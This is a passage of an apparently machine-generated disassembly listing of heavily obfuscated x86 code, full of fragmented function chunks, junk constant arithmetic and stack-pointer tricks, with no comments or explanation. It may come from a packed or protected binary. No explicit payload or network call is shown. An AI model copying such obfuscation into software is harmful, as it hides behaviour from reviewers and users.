SIZE 00000046 BYTES ; FUNCTION CHUNK AT 005ADD20 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005ADD4A SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005ADF7F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AE04A SIZE 00000093 BYTES ; FUNCTION CHUNK AT 005AE103 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 005AE30B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AE397 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005AE3D3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE46C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AE4FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE595 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE602 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AE7D2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AE863 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AE8BA SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005AE92A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AE955 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005AEA1D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AEA81 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005AEAB9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AEB05 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AEB2D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AEBB9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AEC01 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AEC41 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AEC55 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 005AECFF SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AED35 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AED6D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AEF37 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AEF5D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AEFCA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AF00A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AF1AB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AF3D3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AF416 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AF42D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AF4D1 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AF57D SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005AF60D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AF684 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AF6C2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AF6F8 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005AF7C1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AF820 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 005AF89A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AF8D1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AF953 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005AF9EE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AFA68 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AFAD1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AFC34 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AFC7E SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005AFCEE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AFD90 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AFDE2 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005AFE61 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AFEEB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AFF49 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005AFFC7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005B001C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005B00D8 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 005B0165 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 005B01CB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005B0218 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005B0233 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005B02B8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005B02E3 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005B03CB SIZE 0000001D BYTES sub esp, 4 mov [esp+0], edx jmp loc_59FF35 sub_5AA2D1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5AA2DF: ; CODE XREF: sub_5AC18D-A2E8j pop ecx mov eax, [esp+4+var_4] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp mov edx, [esp+4+var_4] add esp, 4 push dword ptr [esp+0] pop ebx push ebx mov ebx, esp add ebx, 4 jmp loc_5ABA56 ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA30F: ; CODE XREF: sub_5AA2D1+D0Aj mov [esp+0], eax not dword ptr [esp+0] jmp loc_5AF820 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AA31A: ; CODE XREF: sub_5A16B8+8D54j mov ecx, [esp+8+var_8] add esp, 4 push edi jmp loc_5A38AE ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; =============== S U B R O U T I N E ======================================= sub_5AA329 proc near ; DATA XREF: sdfs____:00598E7Co var_4 = dword ptr -4 push dword ptr [esp+0] mov ecx, [esp+4+var_4] add esp, 4 push 1211h mov [esp+4+var_4], ebp mov ebp, esp jmp sub_59DE4B sub_5AA329 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AA341: ; CODE XREF: sub_5AF2D9-81DFj and dh, cl jmp loc_59AEC8 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AA348: ; CODE XREF: sub_5A0AA2+2EA0j push edi mov edi, 4 add [esp+0Ch+var_8], edi pop edi mov edx, [esp+8+var_8] add esp, 4 add edx, 4 push 1A4Eh mov [esp+8+var_8], ebx mov ebx, 2E3966F6h jmp loc_59E792 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AA374: ; CODE XREF: sub_5A86D0+71Bj ; sub_5992DA+10773j xor [esp+26h+var_26], ebp xor ebp, [esp+26h+var_26] jmp loc_5A89F9 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AA37F: ; CODE XREF: sub_5A79BE+4E03j mov ecx, eax mov eax, [esp+8+var_8] push edi push esp pop edi add edi, 4 jmp loc_599FFA ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AA392: ; CODE XREF: sub_59C979+A2ACj add [esp-8+arg_6+2], 145F1007h pop ecx mov eax, [esp-0Ch+arg_6+2] add esp, 4 push 1E45h mov [esp-0Ch+arg_6+2], ebx jmp loc_5A374D ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AA3AE: ; CODE XREF: sub_59A26C+3E15j pop eax jmp loc_5B0406 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- loc_5AA3B4: ; CODE XREF: sdfs____:005A8B39j pop edx add bh, 81h add bh, cl sub bh, 81h pop ecx neg bh sub bh, 34h sub al, bh mov ebx, [esp] jmp loc_5A867A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA3CD: ; CODE XREF: sub_5AA2D1+2744j xchg al, bl push small 6DD1h mov [esp+0], ax mov ah, 6Bh add bl, ah mov ax, [esp+0] jmp loc_59EDAB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D9AA loc_5AA3E4: ; CODE XREF: sub_59D9AA+10631j pop ebp sub edi, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_59D9AA ; --------------------------------------------------------------------------- jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AA3EE: ; CODE XREF: sub_59D6B8-263Cj mov [esp+1Ch+var_1C], edi mov edi, 4 push edi jmp loc_5A06B7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AA3FC: ; CODE XREF: sub_5A16B8:loc_5AB4BCj sub ebp, 0FEDF752Dh mov edi, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 sub edi, ecx jmp loc_5AA31A ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599C9B loc_5AA411: ; CODE XREF: sub_599C9B+7A6Ej add ebx, ebp jmp loc_5A9B37 ; END OF FUNCTION CHUNK FOR sub_599C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA418: ; CODE XREF: sub_5AA2D1-BAC5j sub eax, 6CA033D5h mov edx, [esp-26h+arg_20+2] push 697Eh mov [esp-22h+arg_1C+2], ebx mov ebx, esp push 3848h jmp loc_59AA5A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5AA434: ; CODE XREF: sub_5A9B1D-5C6Dj mov [esp+4+var_4], ebx mov ebx, 4 push ebx push ebp push 18923EC4h pop ebp add ebp, 0FE68D27Fh push ecx mov ecx, ebp push ecx xor [esp+14h+var_14], 662F2389h pop ebx xor ebx, 662F2389h pop ecx mov ebp, [esp+0] add esp, 4 sub ebp, ebx jmp loc_5A7623 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AA46A: ; CODE XREF: sub_5A6BBC-88B3j jo loc_59EBC3 jmp sub_5A63DC ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5AA475: ; CODE XREF: sub_5AC18D+12j sub dl, 0A6h jmp loc_5A0A7F ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5AA47D: ; CODE XREF: sub_5A0924+ACF3j xor eax, 332C0170h xor esi, eax pop eax add ebx, esi mov esi, [esp+4+var_4] add esp, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push [esp-4+arg_0] mov ecx, [esp+0] push ebx mov ebx, esp push eax mov eax, 797C1E1Dh jmp loc_5A337B ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- loc_5AA4AB: ; CODE XREF: sdfs____:00599F24j pop esp jmp loc_5A428F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AA4B1: ; CODE XREF: sub_59D6B8-2CD4j pop edx xor ebx, ecx jmp loc_59CEEA ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5AA4B9: ; CODE XREF: sub_5A522E+217Aj add eax, 4 push esi push ebx push 38CB71D3h mov ebx, [esp+10h+var_10] add esp, 4 jmp loc_5AD91C ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5AA4D0: ; CODE XREF: sub_5AA810-10621j xor edx, [esp+8+var_8] jmp loc_5A426A ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA4D8: ; CODE XREF: sub_5AA2D1-2E15j add ecx, 2737489h xor ecx, 293B78Bh sub edi, ecx mov ecx, [esp+8+var_8] add esp, 4 xchg edi, [esp+4+var_4] jmp loc_5A5070 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AA4F7: ; CODE XREF: sub_5AC803-3CFDj neg esi jge loc_59E7E8 jmp loc_5A28C7 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; =============== S U B R O U T I N E ======================================= sub_5AA504 proc near ; DATA XREF: sdfs____:00598F14o push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+0], cl pushf jmp loc_59910F sub_5AA504 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AA514: ; CODE XREF: sub_5A580F+3CB0j pop eax add [esp+8+var_8], 1CFC059Fh jmp loc_59E8DC ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- loc_5AA521: ; CODE XREF: sdfs____:0059CDECj mov ebp, 30CE1F16h add [esp+0Ch], ebp jmp loc_5ABF70 ; =============== S U B R O U T I N E ======================================= sub_5AA52F proc near ; CODE XREF: sub_5A2F58+BDA2j var_6 = word ptr -6 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059C9AD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A2B5D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A6F60 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A8F82 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005A9982 SIZE 0000000D BYTES sub esp, 2 jmp loc_5A9982 sub_5AA52F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AA53A: ; CODE XREF: sub_5A79BE-4F8Ej jmp loc_5ABC03 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AA53F: ; CODE XREF: sub_5A16B8-6EBAj mov ebx, esp push edx jmp loc_59A282 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AA547: ; CODE XREF: sub_59F02F+3A1Ej add eax, 602A279Ch sub eax, 3BE805D3h push dword ptr [esp+0] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+8+var_4] pop esi pop [esp+8+var_8] pop esp push edi push edx push 48F758A8h mov edx, [esp+0Ch+var_C] add esp, 4 shr edx, 5 jz loc_5AE7F1 xor edx, 1E013A63h jnp loc_5AB56F dec edx push 4293h mov [esp+0Ch+var_C], eax push 5BFh jmp loc_5AEB32 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AA5A3: ; CODE XREF: sub_5AC803+395Dj shr esi, 2 js loc_59AB84 add esi, 1 jmp loc_59CF73 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AA5B7: ; CODE XREF: sub_5A5EFF-7973j or ebp, 767733B8h sub ebp, 0C6E6ECBh sub ebp, 0D16EACD6h xor ebp, 594270FBh xor ebp, 435850A6h sub ecx, 442D3DA4h jmp loc_59E6A4 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- push eax push esp mov eax, [esp] add esp, 4 push esi mov esi, 4 jmp loc_5ABF68 ; =============== S U B R O U T I N E ======================================= sub_5AA5F6 proc near ; CODE XREF: sub_5A9D6F-FD07j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599E63 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059F0C7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A2C47 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A3006 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A5199 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A581D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AA7E4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AC613 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ACD5A SIZE 0000000E BYTES push ebx mov bl, 7Eh sub al, 0D2h add al, bl jmp loc_5ACD5A sub_5AA5F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AA602: ; CODE XREF: sub_59C979+95C9j pop ebx jmp loc_59F4B7 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA608: ; CODE XREF: sub_5AA2D1-6E88j mov bl, 52h xor bl, dh mov edx, [esp+0Ch+var_C] jmp loc_5A3273 ; --------------------------------------------------------------------------- loc_5AA614: ; CODE XREF: sub_5AA2D1-F825j pop ecx push ecx push edx mov dh, 4Ch jmp sub_59ED98 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AA61E: ; CODE XREF: sub_59E94B+FC3Bj push dword ptr [esp+0] pop eax add esp, 4 xor edi, [esp-4+arg_0] xor [esp-4+arg_0], edi jmp loc_5A763E ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2A6 loc_5AA630: ; CODE XREF: sub_59C2A6+C41Bj ; sub_5A9EBF-124Dj ... push esi jmp sub_5A503A ; END OF FUNCTION CHUNK FOR sub_59C2A6 ; --------------------------------------------------------------------------- loc_5AA636: ; CODE XREF: sdfs____:005A746Bj pop esp mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push 13CBh mov [esp], eax jmp loc_5AF750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A169C loc_5AA651: ; CODE XREF: sub_5A169C+Bj add edi, 4 jmp loc_5A8CEF ; END OF FUNCTION CHUNK FOR sub_5A169C ; --------------------------------------------------------------------------- loc_5AA65C: ; CODE XREF: sdfs____:005AC92Dj add esp, 4 push 35C7h mov [esp], ebx push esp pop ebx push esi mov esi, 522C5DCDh shr esi, 4 push ecx mov ecx, 3C19548Bh or esi, ecx pop ecx jmp loc_5A4F94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5AA683: ; CODE XREF: sub_5AD795-A9FDj ; sub_59CBE1+13071j sub cl, 37h jmp loc_5AC500 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5AA68B: ; CODE XREF: sub_5AD243-608Ej mov [esp-4+arg_0], esp push esi mov esi, 4 add [esp+arg_0], esi pop esi push [esp-4+arg_0] mov ebp, [esp+0] add esp, 4 push edi push 1D2Ah jmp loc_59D1F5 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5AA6B0: ; CODE XREF: sub_5A3992-63D8j pop edx push eax mov eax, esp jmp loc_5A6E8B ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5AA6B9: ; CODE XREF: sub_59F4D2-3C6Ej sub ebx, 32F30599h sub ebx, edi jmp loc_5A9124 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AA6C6: ; CODE XREF: sub_59EE3E+81E5j jp loc_5A7C28 jmp loc_59DD01 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AA6D1: ; CODE XREF: sub_59D6B8+11EA6j add ebx, 6FA664BFh jmp loc_59D5D6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AA6DC: ; CODE XREF: sub_5A917C-A6A8j add eax, 4 xchg eax, [esp+4+var_4] pop esp jmp loc_5AC8C2 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AA6EA: ; CODE XREF: sub_5A477C+A461j add edx, 28120D18h ja loc_5A4857 shl edx, 3 jnz loc_59E228 jmp loc_59A1F4 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- pop eax ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AA705: ; CODE XREF: sub_5992DA+BB17j pop edx jmp sub_599509 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA70B: ; CODE XREF: sub_5AA2D1-9803j ; sub_5A118F+A0D7j add edi, 69F859DDh add edi, 5B677CB1h sub edi, esi sub edi, 5B677CB1h jmp loc_59BD4E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A253A loc_5AA724: ; CODE XREF: sub_5A253A+8j mov ebx, 200h jmp loc_5AB56F ; END OF FUNCTION CHUNK FOR sub_5A253A ; --------------------------------------------------------------------------- loc_5AA72E: ; CODE XREF: sdfs____:005A0FEDj mov bh, dh pop edx jmp loc_5A6130 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_5AA736: ; CODE XREF: sub_599884+1266Dj sub edx, ebx jmp loc_59C836 ; END OF FUNCTION CHUNK FOR sub_599884 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA73D: ; CODE XREF: sub_5AA2D1-531Aj add ebx, 3BE121CAh sub esp, 4 mov [esp+0Ah+var_C+2], ebp mov ebp, 79093A98h sub ebp, 368F5432h sub ebp, 2EB28A01h sub ebx, ebp pop ebp sub ebx, 16375269h jmp loc_5A0C5A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AA768: ; CODE XREF: sub_5992DA+69C7j push eax mov eax, esp add eax, 4 jmp loc_5A1BE2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA775: ; CODE XREF: sub_5AA2D1-CCA1j not [esp+2+var_4+2] pop ebx jmp loc_5A6C90 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AA77E: ; CODE XREF: sub_5A0AA2+A749j push 2664h mov [esp+8+var_8], ebp mov ebp, 38BD7811h and ebp, 19092494h sub ebp, 50593472h push edi mov edi, 0DB72646h xor edi, 5F8B1FD9h push esi jmp loc_5A623F ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A28E3 loc_5AA7A9: ; CODE XREF: sub_5A28E3+D390j mov [esp+4+var_4], ecx mov ecx, 4 add ebx, 392B67FEh add ebx, ecx push ecx mov ecx, 23AF3022h not ecx and ecx, 5B5E5C39h jmp loc_5A07C9 ; END OF FUNCTION CHUNK FOR sub_5A28E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF8FF loc_5AA7CC: ; CODE XREF: sub_5AF8FF+4C2j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_59F951 ; END OF FUNCTION CHUNK FOR sub_5AF8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AA7DF: ; CODE XREF: sub_5A2E41:loc_5A5141j jmp sub_5A317A ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5AA7E4: ; CODE XREF: sub_5AA5F6+2020j add bl, 85h shl bl, 4 push eax mov al, 0B6h inc al sub al, 0ADh jmp loc_5A581D ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AA7F6: ; CODE XREF: sub_59C979+6E46j xor eax, 1CCE7661h and eax, 41BA7E90h sub eax, 41B2388Ch sub ecx, 408A2FECh jmp loc_5AAA86 ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_5AA810 proc near ; CODE XREF: sub_5A2E41+226Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599A24 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00599D72 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059A1EC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B18B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B8A6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059D559 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059E31B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059ED78 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059F7B2 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059F7FB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059FCDD SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005A0895 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A1182 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A2368 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A30F2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A426A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A7528 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A903E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9247 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A92C0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A94A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A9F0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AA4D0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ABCD2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ABE6A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AC3B5 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005B0293 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005B03A1 SIZE 00000012 BYTES sub esp, 4 mov [esp+8+var_8], edx mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp push [esp+0Ch+var_C] pop ebp jmp loc_59A1EC sub_5AA810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AA82F: ; CODE XREF: sub_5A0FFF-4E90j ; sub_59D6B8+8714j sub ecx, 3110B1CAh sub edi, ecx jmp loc_5A700D ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5AA83C proc near ; DATA XREF: sdfs____:00598EA8o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059E387 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A7A0C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AD029 SIZE 0000000B BYTES mov ax, [esp+0] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+0], ecx jmp loc_5A7A0C sub_5AA83C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AA85A: ; CODE XREF: sub_59A26C+AC0Bj inc edx jns loc_5991DC neg edx add edx, 9472086h mov ebp, edx jmp loc_5A596F ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AA870: ; CODE XREF: sub_59D6B8+11049j add ebx, 0E9E4B594h add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp+4+var_4] pop esp add edx, 70C82B76h xor edx, 45DA2A6Bh add edx, 0FFFFFFFFh sub edx, 5CD568C5h sub edx, 10A0089Ah add edx, 923CC8F3h jmp loc_59C932 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5AA8A9: ; CODE XREF: sdfs____:005AD519j xor ebx, [esp] xor [esp], ebx jmp loc_59EFBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AA8B4: ; CODE 